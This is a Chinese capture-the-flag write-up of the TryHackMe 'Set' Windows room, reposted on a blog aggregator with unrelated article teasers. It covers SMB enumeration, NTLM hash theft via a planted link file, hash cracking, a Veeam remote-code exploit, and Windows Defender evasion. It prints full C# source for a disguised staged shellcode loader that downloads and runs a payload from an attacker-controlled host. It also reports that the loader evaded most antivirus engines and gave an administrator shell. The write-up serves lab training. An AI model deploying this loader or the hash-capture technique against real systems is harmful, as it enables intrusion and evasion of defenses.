TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

news2024/9/21 4:33:35

Set

您再次发现自己在Windcorp公司的内部网络上。上次你去那里的味道真好,你回来了 了解更多。

但是,这次他们设法保护了域控制器,因此您需要找到另一台服务器,并在第一次扫描时发现“Set”。

Set被用作开发人员的平台,最近遇到了一些问题。他们不得不重置很多用户并恢复备份(也许您不是他们网络上唯一的黑客?因此,他们决定确保所有用户都使用正确的密码并关闭一些松散的策略。 你还能找到进去的路吗?某些用户是否比其他用户更有特权?还是更草率的?也许您需要跳出框框思考一下,以规避他们的新安全控制…


端口扫描

循例nmap

在这里插入图片描述

有两个子域,加进hosts

Web枚举

进到set子域

在这里插入图片描述

在主页的源代码中的search.js发现了user.xml,里面记录了姓名、电话和邮箱

在这里插入图片描述

在这里插入图片描述

先把xml保存一下,可能会有用

gobuster扫一下

在这里插入图片描述

SMB枚举

appnotes.txt,这意味着可能会有账户的密码会比较薄弱

在这里插入图片描述

提取用户名

在这里插入图片描述

使用username-generator.py生成可能的账户名

在这里插入图片描述

在这里插入图片描述

crackmapexec爆

在这里插入图片描述

按这个速度爆下去,估计没个10天半个月都爆不完,我选择看一眼wp是哪个账户

在这里插入图片描述

在这里插入图片描述

smbmap看一眼

在这里插入图片描述

用smbclient连接,获得info.txt

在这里插入图片描述

flag1和一些信息

在这里插入图片描述

立足 - SMB-NTLM回传

它会自动读取我们上传的zip文件,并查看里面的文件

我们都知道windows可以直接通过\\ip\share来远程访问文件, 在thm中我们已经用过很多次了

如果它要是带着ntlm hash过来,那么我们将可以利用其凭据进行下一步操作

利用mslink创建链接文件,指向攻击机的smb share

在这里插入图片描述

压缩zip然后上传

responder开启监听,获得michellewat的hash

在这里插入图片描述

hashcat直接爆

在这里插入图片描述

看见开了5985端口,直接winrm登进来,同时拿到flag2

在这里插入图片描述

Veeam未授权RCE

netstat发现一个2805端口

在这里插入图片描述

查看进程

在这里插入图片描述

百度了解了下veeam,wmic、get-service、accesschk都用不了

直接暴力枚举

在这里插入图片描述

查看版本

在这里插入图片描述

看一眼nvd

在这里插入图片描述

该版本存在漏洞,现在应该要进行端口转发出来看看

2805端口虽然开在了0.0.0.0,但攻击机无法访问到,我也尝试了frp、chisel、ssh反向连接,应该是因为防火墙或是其他的缘故,连接不到攻击机

使用plink借助ssh来进行ssh反向连接并进行远程端口转发

在这里插入图片描述

攻击机查看,没问题

在这里插入图片描述

msf有exp

在这里插入图片描述

由于WinDefender的存在,我们无法直接使用msf进行getshell

并且还需要对msf的exp进行修改,使用windows/x64/exec执行命令,这样不会被WinDefender察觉

在这里插入图片描述

在这里插入图片描述

免杀 - Bypass WinDefender

现在虽然能够成功执行命令,但这是一次绝佳的免杀练习机会

首先我们选择做一个简单的分阶段的shellcode加载器,基于C#

using System;
using System.Runtime.InteropServices;
using System.Net;

class Program
{
    [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    static void Main(string[] args)
    {
        LoginQQ();
    }

    public static void LoginQQ()
    {
        string qq_loginURI = "http://10.14.39.48:8000/login_qq_api";
        WebClient webClient = new WebClient();

        byte[] qqLoginState = webClient.DownloadData(qq_loginURI);

        UInt32 QQOpen = VirtualAlloc(0, (UInt32)qqLoginState.Length, 0x1000, 0x40);
        Marshal.Copy(qqLoginState, 0, (IntPtr)(QQOpen), qqLoginState.Length);

        IntPtr QQHandle = IntPtr.Zero;
        UInt32 QQthreadId = 0;
        IntPtr QQparameter = IntPtr.Zero;
        QQHandle = CreateThread(0, 0, QQOpen, QQparameter, 0, ref QQthreadId);

        WaitForSingleObject(QQHandle, 0xFFFFFFFF);
    }
}

我们考虑了熵, 它挺低的,至少满足了thm教程中所说的5.x、6.x

在这里插入图片描述

简单的通过http获取shellcode并利用win32 api写入内存并执行

使用csc编译得到exe

上传到VirusTotal分析一下

在这里插入图片描述

我们编写的“QQ”很幸运,它绕过了大多数AV检测,包括WinDefender

这仅仅只使用了thm教导了一小部分知识,就这么轻松绕过了,或许是得益于分阶段优势的原因吧

在这里插入图片描述

免杀马测试

这么简单的免杀就到此为止,当然,我们并没有考虑运行时的内存检测,但让我们碰碰运气

生成shellcode

在这里插入图片描述

python开启http服务,把steged loader传过去

直接运行loader

在这里插入图片描述

loader会请求所谓的“login_qq_api”,其实这是我们的shellcode

在这里插入图片描述

nc监听的情况,成功getshell,并且没有运行时的内存检测,我们的免杀成功

在这里插入图片描述

权限提升 - 免杀马利用

回到房间正文,我们继续利用veeam的exp来通过我们的免杀马getshell

在这里插入图片描述

nc监听,成功过来one账户

在这里插入图片描述

该账户已经在administrators组中,并且shell是高IL

在这里插入图片描述

拿下最后的flag3

在这里插入图片描述

结束

整个房间或许难点应该在于绕过WinDefender做免杀这,但我有thm教导的知识,很轻松就绕过了

值得纪念的一天,这也是我第一次将thm教导一的小部分的红队免杀知识交付于此

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/432129.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

集团企业大数据治理解决方案word

第一章 集团企业大数据治理阶段目标 通过数据平台和BI应用建设,集团企业大数据将搭建统一的大数据共享和分析平台,对各类业务进行前瞻性预测及分析,为集团企业各层次用户提供统一的决策分析支持,提升数据共享与流转能力。 一.1、…

Redis持久化的几种方式

Redis 持久化也是 Redis 和 Memcached 的主要区别之一,因为 Memcached 是不具备持久化功能的。 1.持久化的几种方式 Redis 持久化拥有以下三种方式: 快照方式(RDB, Redis DataBase)将某一个时刻的内存数据,以二进制的…

SpringAOP入门基础银行转账实例(进阶版)------------事务处理

SpringAOP入门基础银行转账实例**(进阶版)**------------事务处理 由上一节讲述的通过Connection和QueryRunner对事务进行的处理(详情可以去我之前写的博客文章:https://blog.csdn.net/m0_56245143/article/details/130069160?spm1001.2014…

派盘为您的个人数据安家

现如今,我们的生活中有着各种各样的数据。在工作中会有各种文件、邮件;在生活中则有照片和视频等。数据的来源多,时间点不一致且混乱。 数据是否能安全、稳定、长久的存储以及便捷高效的使用对我们来说相当重要。你是否经常出差需要带上电脑或者移动硬盘,想存网盘又怕丢失或…

牛客网:HJ1 字符串最后一个单词的长度

题目部分: 解题思路: 方案一: 对于本题,看似简单,其实有坑。 就是在获取单词这块,不能直接用cin这样子操作,否则不能获取到完整的单词,因为cin这样的读到空格就不会往后续读了&…

elsticsearch与关系数据库的区别

查看所有索引(表) 向索引(表)中添加数据: 自定义id添加数据: 自定义id添加数据:方式二

Android12之网络共存

一.思路 所谓共存就是让两个网络同时使用,如果想让哪个网络作为外网,则该网络优先级要高于内网的网络,即可达到外网用来上网的需求,那么要想共存,就必须到从低优先级网络切换到优先级高的网络时,不要做断开操作,即可达到,两个网络同时存在的需求,做到以上两点,我们便…

MiniGPT4,开源了

简介 MiniGPT-4 旨在将来自预训练视觉编码器的视觉信息与先进的大型语言模型 (LLM) 对齐。 具体来说,在文本方面,作者利用 Vicuna 作为语言解码器,在视觉感知方面,使用了与BLIP-2相同的视觉编码器,并且语言和视觉模型…

数据结构(C语言实现)——二叉树的概念及二叉树顺序结构和链式结构的实现(堆排序+TOP-K问题+链式二叉树相关操作)

文章目录1. 前言2. 树的概念及结构2.1 树的概念2.2 树的相关概念2.3 树的表示3. 二叉树的概念3.1 特殊二叉树3.2 二叉树的性质4. 二叉树的顺序存储4.1 堆的概念4.2 堆的实现4.2.1 堆的结点定义4.2.2 堆的打印和销毁4.2.3 堆的插入4.2.4 堆的删除4.2.5 取堆顶数据4.2.6 堆的判空…

【Python学习笔记】cs231nPython Numpy教程

【Python学习笔记】cs231nPython Numpy教程 回顾经典教程cs231n,完成assignments觉得很困难,感觉自己python基础语法掌握的不是很熟,就顺藤摸瓜找了cs231n他们的官方Python个Numpy教程 如果对英文原版上手有困难,可以看这个&…

智慧园区水电监测系统

随着人们对环保意识的提高,智慧园区的建设也越来越受到关注。其中,水电监测系统是智慧园区的一个重要组成部分。本文将从以下几个方面介绍智慧园区水电监测系统的特点和优势。 一、智慧园区水电监测系统的特点 1.实时监测:智慧园区水电监测系…

某医院网络故障分析案例

1、背景 某市第一医院用户反馈,近期内部业务系统出现访问慢的情况,这种情况严重影响到用户的体验和工作效率。 针对此问题,我们通过NetInside流量分析系统,提供实时和历史原始流量。重点针对网络异常流量跟踪分析,找…

go数据结构(二叉树的遍历)

用数组来存储二叉树如何遍历的呢? 如果父节点的数组下表是i,那么它的左孩子就是i * 2 1,右孩子就是 i * 2 2。 二叉树的遍历方式: 二叉树有三种基本遍历方式,分别是前序遍历、中序遍历和后序遍历。遍历的原理是从根…

Jenkins 流水线

采用Jenkins的自由风格构建的项目,适合用于测试和学习,主要问题有: 构建过程中整体流程是不可见的,无法确认每个流程花费的时间出现问题不方便快速的定位无法进行版本化管理多个任务中有很多步骤需要重复搭建 Jenkins的Pipeline…

MYSQL Row 752 was cut by GROUP_CONCAT()

因为group_concat有个最大长度的限制,GROUP_CONCAT函数返回的结果大小被MySQL默认限制为1024(字节)的长度。超过最大长度就会被截断掉 解决方法:更改配置文件,修改长度。 https://blog.csdn.net/zzddada/article/details/115082236 concat…

DHCP与RIP配置实验

目录 一、实验要求与拓扑结构 1、实验要求 2、提前规划好网段的拓扑结构如下图 二、实验步骤 1、给每台路由器的各个接口配置ip 2、给路由器AR1和AR3配置dhcp服务 3、在路由器AR1和AR2上运行ripv2,在AR3上运行ripv1 4、更改接口的rip协议版本 一、实验要求与…

chatglm-6b模型在windows的详细安装教程

1.先是看了github的文章(如果打不开这篇文章,可能需要科学上网,即访问外网的VPN): https://github.com/THUDM/ChatGLM-6B 2.准备:台式机,GPU是8G。(关于是否可以在笔记本运行&#x…

【网路】-- HTTP协议

目录 HTTP协议 认识URL urlencode和urldecode Http http的宏观结构 http请求报文格式 http响应报文格式 HTTP的方法 表单 重定向 HTTP常见Header 会话管理 Cookie 实验证明 Connection选项 工具推荐 Fiddler 原理 应用层:就是程序员基于socket接口…

如何在大厂做好架构演进?

1 架构演进的定义 1.1 定义 通过设计新的系统架构(4R),来应对业务和技术的发展变化。 1.2 关键点 新架构新的复杂度 1.3 目的 应对业务和技术的发展变化后带来新的复杂度。 案例 淘宝去IOE,是因为业务发展大了后,IOE的成本和可控性难…

51单片机入门

文章目录 一、安装keil5及proteus二、MCS-51单片机结构与原理(一).8051单片机基本组成(二).8051单片机引脚1.电源引脚2.时钟电路引脚3.控制信号引脚4.输入/输出端口 (三) 并行输入/输出端口结构 三、单片机cx51编程基础(一).变量定义(二).数据类型(三).存储类型(四).Cx51语言程…